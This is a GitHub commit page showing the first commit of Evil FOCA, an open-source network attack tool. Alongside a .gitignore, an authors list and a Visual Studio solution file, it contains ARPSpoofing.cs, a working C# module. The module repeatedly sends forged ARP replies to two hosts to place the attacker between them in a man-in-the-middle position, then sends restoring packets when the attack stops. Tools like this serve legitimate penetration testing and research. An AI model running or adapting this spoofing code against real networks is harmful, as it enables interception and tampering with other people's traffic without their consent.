Skip to content

Commit

Permalink
first commit
Browse files Browse the repository at this point in the history
  • Loading branch information
David Barroso committed Jul 20, 2015
0 parents commit d3a0acb
Show file tree
Hide file tree
Showing 179 changed files with 36,464 additions and 0 deletions.
186 changes: 186 additions & 0 deletions .gitignore
@@ -0,0 +1,186 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.

# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates

# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
build/
bld/
[Bb]in/
[Oo]bj/

# Roslyn cache directories
*.ide/

# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*

#NUNIT
*.VisualState.xml
TestResult.xml

# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c

*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc

# Chutzpah Test files
_Chutzpah*

# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile

# Visual Studio profiler
*.psess
*.vsp
*.vspx

# TFS 2012 Local Workspace
$tf/

# Guidance Automation Toolkit
*.gpState

# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user

# JustCode is a .NET coding addin-in
.JustCode

# TeamCity is a build add-in
_TeamCity*

# DotCover is a Code Coverage Tool
*.dotCover

# NCrunch
_NCrunch_*
.*crunch*.local.xml

# MightyMoose
*.mm.*
AutoTest.Net/

# Web workbench (sass)
.sass-cache/

# Installshield output folder
[Ee]xpress/

# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html

# Click-Once directory
publish/

# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# TODO: Comment the next line if you want to checkin your web deploy settings
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj

# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/packages/*
# except build/, which is used as an MSBuild target.
!**/packages/build/
# If using the old MSBuild-Integrated Package Restore, uncomment this:
#!**/packages/repositories.config

# Windows Azure Build Output
csx/
*.build.csdef

# Windows Store app package directory
AppPackages/

# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.pfx
*.publishsettings
node_modules/
bower_components/

# RIA/Silverlight projects
Generated_Code/

# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm

# SQL Server files
*.mdf
*.ldf

# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings

# Microsoft Fakes
FakesAssemblies/

8 changes: 8 additions & 0 deletions AUTHORS
@@ -0,0 +1,8 @@
Evil FOCA is currently developed by ElevenPaths

Original authors
----------------
Chema Alonso
Francisco Oca
Manuel Fernández
Ioseba Palop
32 changes: 32 additions & 0 deletions EvilFoca.sln
@@ -0,0 +1,32 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.31101.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EvilFoca", "EvilFoca\EvilFoca.csproj", "{35404744-5455-4672-8AE5-2A2E3568B94C}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Debug|Mixed Platforms = Debug|Mixed Platforms
Debug|x86 = Debug|x86
Release|Any CPU = Release|Any CPU
Release|Mixed Platforms = Release|Mixed Platforms
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{35404744-5455-4672-8AE5-2A2E3568B94C}.Debug|Any CPU.ActiveCfg = Debug|x86
{35404744-5455-4672-8AE5-2A2E3568B94C}.Debug|Mixed Platforms.ActiveCfg = Debug|x86
{35404744-5455-4672-8AE5-2A2E3568B94C}.Debug|Mixed Platforms.Build.0 = Debug|x86
{35404744-5455-4672-8AE5-2A2E3568B94C}.Debug|x86.ActiveCfg = Debug|x86
{35404744-5455-4672-8AE5-2A2E3568B94C}.Debug|x86.Build.0 = Debug|x86
{35404744-5455-4672-8AE5-2A2E3568B94C}.Release|Any CPU.ActiveCfg = Release|x86
{35404744-5455-4672-8AE5-2A2E3568B94C}.Release|Mixed Platforms.ActiveCfg = Release|x86
{35404744-5455-4672-8AE5-2A2E3568B94C}.Release|Mixed Platforms.Build.0 = Release|x86
{35404744-5455-4672-8AE5-2A2E3568B94C}.Release|x86.ActiveCfg = Release|x86
{35404744-5455-4672-8AE5-2A2E3568B94C}.Release|x86.Build.0 = Release|x86
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
130 changes: 130 additions & 0 deletions EvilFoca/Attacks/ARPSpoofing.cs
@@ -0,0 +1,130 @@
/*
Evil FOCA
Copyright (C) 2015 ElevenPaths
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using SharpPcap.WinPcap;
using System.Threading;
using System.Net.NetworkInformation;
using PacketDotNet;
using System.Net;
using evilfoca.Data;

namespace evilfoca.Attacks
{
class ARPSpoofing
{
private const int SendPacketEachXSecs = 4;
private WinPcapDevice device;
private IPAddress ipLocal;
private Thread threadAttack;
private SynchronizedCollection<Data.Attack> attacks;

public ARPSpoofing(WinPcapDevice device, IPAddress ipV4Local, SynchronizedCollection<Data.Attack> attacks)
{
this.device = device;
this.attacks = attacks;
this.ipLocal = ipV4Local;
}

public void Start()
{
threadAttack = new Thread(new ThreadStart(Attack));
threadAttack.IsBackground = true;
threadAttack.Start();
}

public static EthernetPacket GenerateResponseArpPoison(PhysicalAddress localMac, PhysicalAddress mac1, IPAddress ip1, IPAddress ip2)
{
EthernetPacket ethernet;
ethernet = new EthernetPacket(localMac, mac1, EthernetPacketType.Arp);
ethernet.PayloadPacket = new ARPPacket(ARPOperation.Response,
mac1,
ip1,
localMac,
ip2);

return ethernet;
}

private void Attack()
{
while (true)
{
try
{
PhysicalAddress MACLocal = device.MacAddress;
EthernetPacket ethernet;

foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.ARPSpoofing && A.attackStatus == Data.AttackStatus.Attacking))
{
if (attack is MitmAttack)
{
ethernet = GenerateResponseArpPoison(device.Interface.MacAddress,
((MitmAttack)attack).t1.mac,
((MitmAttack)attack).t1.ip,
((MitmAttack)attack).t2.ip);
Program.CurrentProject.data.SendPacket(ethernet);

ethernet = GenerateResponseArpPoison(device.Interface.MacAddress,
((MitmAttack)attack).t2.mac,
((MitmAttack)attack).t2.ip,
((MitmAttack)attack).t1.ip);
Program.CurrentProject.data.SendPacket(ethernet);
}
}

foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.ARPSpoofing && A.attackStatus == Data.AttackStatus.Stopping))
{
if (attack is MitmAttack)
{
ethernet = new EthernetPacket(device.Interface.MacAddress, ((MitmAttack)attack).t1.mac, EthernetPacketType.Arp);
ethernet.PayloadPacket = new ARPPacket(ARPOperation.Response, ((MitmAttack)attack).t1.mac, ((MitmAttack)attack).t1.ip, ((MitmAttack)attack).t2.mac, ((MitmAttack)attack).t2.ip);
Program.CurrentProject.data.SendPacket(ethernet);

ethernet = new EthernetPacket(device.Interface.MacAddress, ((MitmAttack)attack).t2.mac, EthernetPacketType.Arp);
ethernet.PayloadPacket = new ARPPacket(ARPOperation.Response, ((MitmAttack)attack).t2.mac, ((MitmAttack)attack).t2.ip, ((MitmAttack)attack).t1.mac, ((MitmAttack)attack).t1.ip);
Program.CurrentProject.data.SendPacket(ethernet);

attack.attackStatus = Data.AttackStatus.Stop;
}
}

Thread.Sleep(SendPacketEachXSecs * 1000);
}
catch (ThreadAbortException)
{
return;
}
catch
{
}
}
}

public void Stop()
{
if (threadAttack != null && threadAttack.IsAlive)
{
threadAttack.Abort();
threadAttack = null;
}
}
}
}

0 comments on commit d3a0acb

Please sign in to comment.